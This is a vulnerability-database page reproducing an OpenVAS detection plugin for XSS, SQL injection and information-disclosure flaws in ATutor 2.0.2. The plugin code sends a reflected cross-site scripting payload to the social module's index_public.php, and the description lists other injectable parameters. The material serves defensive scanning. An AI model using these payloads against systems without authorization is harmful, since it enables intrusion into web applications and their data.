Lucene search
+L

Atutor Multiple Vulnerabilities

🗓️ 22 Sep 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 15 Views

Atutor Multiple Vulnerabilities, potential for information disclosure, SQL injection, and cross site scripting due to unsanitized input in various scripts

Refs
Code
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:atutor:atutor";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902728");
  script_version("2025-03-05T05:38:52+0000");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:52 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2011-09-22 10:24:03 +0200 (Thu, 22 Sep 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_name("Atutor Multiple Vulnerabilities");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17631/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49057");
  script_xref(name:"URL", value:"http://securityreason.com/wlb_show/WLB-2011080041");
  script_xref(name:"URL", value:"http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5037.php");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/103765/ZSL-2011-5037.txt");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_atutor_detect.nasl");
  script_mandatory_keys("atutor/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"impact", value:"Successful exploitation will let attackers to execute arbitrary
  script code or to compromise the application, access or modify data, or exploit
  latent vulnerabilities in the underlying database.");

  script_tag(name:"affected", value:"ATutor version 2.0.2");

  script_tag(name:"insight", value:"Multiple flaws are due to an:

  - Input passed to the 'lang' parameter in '/documentation/index_list.php' is
  not properly sanitised before being returned to the user.

  - Input passed to the 'p_course', 'name' and 'value' parameters in
  '/mods/_standard/social/set_prefs.php' scripts is not properly sanitised
  before being used in SQL queries.

  - Input passed via the 'search_friends_HASH' POST parameter, where HASH is
  the value generated by the 'rand_key' parameter, to the
  '/mods/_standard/social/index_public.php' script is not properly sanitised
  before being returned to the user.");

  script_tag(name:"solution", value:"Upgrade to ATutor version 2.0.3 or later.");

  script_tag(name:"summary", value:"Atutor is prone to information disclosure, SQL injection, and cross site scripting vulnerabilities.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

rand = rand();
xss = 'search_friends_' + rand + '=1>"><script>alert(1)</script>&search=Search&rand_key=' + rand;
filename = dir + "/mods/_standard/social/index_public.php";
headers = make_array("Content-Type", "application/x-www-form-urlencoded");

req = http_post_put_req(port: port, url: filename, data: xss, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);

if (res =~ "^HTTP/1\.. 200" && '"><script>alert(1)</script>' >< res) {
  report = "It was possible to conduct an XSS attack at " +
           http_report_vuln_url(port: port, url: filename, url_only: TRUE) + '\n\nRequest:\n' + req;
  security_message(port: port, data: report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation